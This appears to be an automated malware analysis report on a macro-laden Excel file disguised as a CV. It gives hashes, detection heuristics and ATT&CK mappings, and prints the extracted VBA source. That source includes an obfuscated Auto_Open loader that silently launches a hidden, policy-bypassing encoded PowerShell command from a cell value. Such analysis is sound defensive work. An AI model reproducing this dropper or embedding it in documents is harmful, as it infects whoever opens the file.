Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ccf90793f40fe1ec…

MALICIOUS

Office (OLE)

86.5 KB Created: 2005-08-20 04:05:50 Authoring application: Microsoft Excel First seen: 2019-12-09
MD5: 2c0c93ef780d647f262a794c5b20edb7 SHA-1: 3f69b0b91392cd0b1f10d29eb4466c85c3328fa9 SHA-256: ccf90793f40fe1ec56b352234286307e097a07dc7e3758b9c793f77442dc2047
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file is identified as malicious by ClamAV with the signature Xls.Dropper.Agent-6298827-0. It contains an Auto_Open VBA macro that is heavily obfuscated and uses CreateObject to execute a payload. The macro appears to be a loader designed to download and run a second-stage exploit, likely leveraging the embedded URL for this purpose. The document body, formatted as a curriculum vitae, serves as a lure.

Heuristics 7

  • ClamAV: Xls.Dropper.Agent-6298827-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-6298827-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://subca.ocsp-certum.com01 In document text (OLE body)
    • http://cscasha2.ocsp-certum.com04In document text (OLE body)
    • http://crl.certum.pl/ctnca.crl0kIn document text (OLE body)
    • http://repository.certum.pl/ctnca.cer09In document text (OLE body)
    • http://www.certum.pl/CPS0In document text (OLE body)
    • http://crl.certum.pl/cscasha2.crl0qIn document text (OLE body)
    • http://repository.certum.pl/cscasha2.cer0In document text (OLE body)
    • https://www.certum.pl/CPS0��In document text (OLE body)
    • https://www.certum.pl/repository.0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2156 bytes
SHA-256: 7e292481a61234ab4f5f86a1008099f69213969b9c65787a8bf7010d5bce2429
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "LinesOfBusiness"

Function GetVal(sr As Long, er As Long, c As Long)
    Dim x
    For i = sr To er
        x = x + Cells(i, c)
    Next
    GetVal = x
End Function


Function rndname()
    Dim r As String
    Dim i As Integer
     
    For i = 1 To 8
        If i Mod 2 = 0 Then
            r = Chr(Int((90 - 65 + 1) * Rnd + 65)) & r
        Else
            r = Int((9 * Rnd) + 1) & r
        End If
    Next i
    rndname = r
End Function

Sub Auto_Open()
    tJkfTbph
End Sub

Sub tJkfTbph()
    Dim x, c As String
    x = GetVal(8581, 8581, 231)
    MyVal = "o"
    VerVal = "sC"
    c = "p" & MyVal & "W" & Chr(101) & Chr(114) & Chr(83) & Chr(104) & Chr(101) & Chr(76) & "l." & Chr(101) & "X" & Chr(101) & " -n" & MyVal & "p -n" & MyVal & "ni " & _
    "-win" & Chr(100) & Chr(111) & Chr(119) & Chr(115) & Chr(116) & Chr(121) & Chr(108) & Chr(101) & Chr(32) & Chr(104) & Chr(105) & Chr(100) & _
    "den " & Chr(45) & Chr(101) & Chr(120) & Chr(101) & Chr(99) & Chr(32) & Chr(98) & Chr(121) & Chr(112) & Chr(97) & Chr(115) & Chr(115) & "" & _
    " -e" & "nc " & x
    Set s = CreateObject("W" & VerVal & "rip" & "t." & Chr(83) & "h" & Chr(101) & "ll")
    s.Run c, 0
End Sub

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